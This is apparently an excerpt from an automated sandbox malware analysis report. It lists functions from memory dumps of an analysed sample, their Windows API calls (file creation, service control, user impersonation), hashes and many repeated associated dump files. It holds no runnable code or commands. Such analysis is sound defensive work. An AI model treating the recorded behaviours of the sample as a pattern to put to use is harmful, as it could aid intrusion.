Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4026b74be2ceccdb7ad6a0808b4709cb354a6b21173ab1378484588a6952d748
Instruction ID: df78eadb2f4b8d7f63bd8460435ad4e0f26a57161ab484c803bde4d4ccc90d94
Opcode Fuzzy Hash: 4026b74be2ceccdb7ad6a0808b4709cb354a6b21173ab1378484588a6952d748
Instruction Fuzzy Hash: 72212231A0D3DAABD311CF388960BA9BFA4EF4B314B24498EE0858B592C6205924DB52

Function 05240D41 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05240DCD

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 3e4dff79313d05b4e43de57a5779e4a8ce03375dc87b0b25cc059b239d002343
Instruction ID: 3cfbede8d8a5c66a2d7198c185d03520f49f52411a707d3d79a0d56f55b1ce16
Opcode Fuzzy Hash: 3e4dff79313d05b4e43de57a5779e4a8ce03375dc87b0b25cc059b239d002343
Instruction Fuzzy Hash: D42145B6C10209DFCB14CF99D889ADEFBF4EF88320F14811AD909AB204C774A544CFA4

Function 05240D48 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05240DCD

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 50c65ef51541e0f54b95a87a23dbd85a1d80831eeff89a4d68bcde1698c3c29e
Instruction ID: 656db2b7570c1bb6d129847e3867a3cd433b261a605db7b09ae3b310fe9ce476
Opcode Fuzzy Hash: 50c65ef51541e0f54b95a87a23dbd85a1d80831eeff89a4d68bcde1698c3c29e
Instruction Fuzzy Hash: 7C2120B6C10209DBCB14CF99D888ADEFBF4EF88320F14855AD909AB204C774A544CFA4

Function 05241509 Relevance: 1.6, APIs: 1, Instructions: 56serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 05241580

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 13449c9966753270caa441d7ae9faff5b626bc36b94c0441f0a1942a3e481d12
Instruction ID: ba1b8eba1663bb6af804621f2b607e92428de24b51d1ba3d7a61901fd5b3c7c7
Opcode Fuzzy Hash: 13449c9966753270caa441d7ae9faff5b626bc36b94c0441f0a1942a3e481d12
Instruction Fuzzy Hash: A92106B1D002499FDB10CF9AC584BDEFBF4EB58324F148429E519A3250D778A644CFA5

Function 05241510 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 05241580

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 428ebea2e0f9e76f94efc592bde4a75b7b4db0316c47a86ca25e4f1f4783dc1d
Instruction ID: fe0f904430815c8787db6be27b90ec0ad2d62b5e56d23e81295b6cd95b73eb89
Opcode Fuzzy Hash: 428ebea2e0f9e76f94efc592bde4a75b7b4db0316c47a86ca25e4f1f4783dc1d
Instruction Fuzzy Hash: 6711E4B1D002499FDB10CF9AC585BDEFBF4EF48324F14842AE559A3250D778A644CFA5

Function 009C44F5 Relevance: 1.6, APIs: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,00000000,00000003), ref: 009C45AF

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5e12c0b34c8f88ef8e30ac87235d44f0e7ab52223a46142ccb5ba794eb85a0d2
Instruction ID: 319f170d23114ff0218fd1f934cdcd628385c8d1739525a6ae44f939be943039
Opcode Fuzzy Hash: 5e12c0b34c8f88ef8e30ac87235d44f0e7ab52223a46142ccb5ba794eb85a0d2
Instruction Fuzzy Hash: 220168B7B44182AFC311CF649D60FA93728FB82731F20042EF4424B183D6700A149A27

Function 05241301 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05241367

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 18397274069f6c30ef9e2fa6a4bb795d307633eb4b87efe90363694151466416
Instruction ID: 421c99b2bb7975e3adce0aa15a713f01a837b427bfe786d2be976f7ac65e8883
Opcode Fuzzy Hash: 18397274069f6c30ef9e2fa6a4bb795d307633eb4b87efe90363694151466416
Instruction Fuzzy Hash: CF1143B1800249CFDB20CF9AC585BDEFBF8EF48324F24842AD558A3240D778A544CFA1

Function 009C4521 Relevance: 1.6, APIs: 1, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,00000000,00000003), ref: 009C45AF

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cb7894c0c76e9d5d56d067ffc23f25ab3d66ecdf6af0d2f86ab03678a49a8351
Instruction ID: 7bfc7827032e0d9d9c9f4ca383cfcdeddb2b00d63b8566798ddfe6b1b22fb25f
Opcode Fuzzy Hash: cb7894c0c76e9d5d56d067ffc23f25ab3d66ecdf6af0d2f86ab03678a49a8351
Instruction Fuzzy Hash: 55016D76644143AFC301DF68DD60F657B78FF82320B2506ADF0828B153DA305A588F16

Function 05241308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05241367

Memory Dump Source

Source File: 00000003.00000002.2480582459.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5240000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 87391efd8b67ba1eb980a058d08f28797663109cb5f1dd1bef3289c4f7d1c984
Instruction ID: c86efbb2cc2aeca2dfbcbfb45fd0b2d05b4813faea7f382b18d93b80d9f49973
Opcode Fuzzy Hash: 87391efd8b67ba1eb980a058d08f28797663109cb5f1dd1bef3289c4f7d1c984
Instruction Fuzzy Hash: 241106B1800249CFDB24CF9AC545BDEFBF8EF48324F24845AD518A3650D778A544CFA5

Function 009C43A1 Relevance: 1.5, APIs: 1, Instructions: 44fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,009C42C9,?,00000000,00000000,00000003), ref: 009C4407

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000ADD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478660487.0000000000AE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478697726.0000000000AF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478713371.0000000000AF7000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_R2L4HOH3ABPEWSR51AXUR0XR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 318377bb83790181906623eb9b9e6c9925e4f543acecd003e5c91d633458f4b4
Instruction ID: add93002562fc078ac4ba429ecf3d1aee006aaf7d39b1e1a18672fb74b6b03d2
Opcode Fuzzy Hash: 318377bb83790181906623eb9b9e6c9925e4f543acecd003e5c91d633458f4b4
Instruction Fuzzy Hash: EFF054BB64817A2DB602DE405F70FBE6758E6C1330B30842EE801C2582D2901E195576

Function 009C474D Relevance: 1.5, APIs: 1, Instructions: 31fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 009C4756

Memory Dump Source

Source File: 00000003.00000002.2477884596.00000000009BE000.00000040.00000001.01000000.00000006.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2477685035.0000000000840000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477705666.0000000000842000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477721787.0000000000846000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477738028.000000000084A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477756296.0000000000856000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477847682.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477865045.00000000009AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477884596.00000000009CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477917364.00000000009CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477932961.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477949580.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477965534.00000000009E6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477984339.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2477999982.00000000009F7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478017120.00000000009FE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478035883.0000000000A00000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478052983.0000000000A08000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478081504.0000000000A13000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478097254.0000000000A14000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478112964.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478131771.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478216480.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478245881.0000000000A29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478329770.0000000000A2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478347641.0000000000A34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478365926.0000000000A39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478382927.0000000000A3A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478399618.0000000000A42000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478417230.0000000000A4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478434248.0000000000A4C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478448038.0000000000A4D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478463827.0000000000A52000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478480656.0000000000A5A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478495209.0000000000A5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478510974.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478525686.0000000000A6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478542321.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478560481.0000000000A76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478577850.0000000000A7E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478593665.0000000000A81000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478612515.0000000000A90000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2478629800.0000000000A94000.00000040.00000001.01000000.00000006.sdmpDownload File
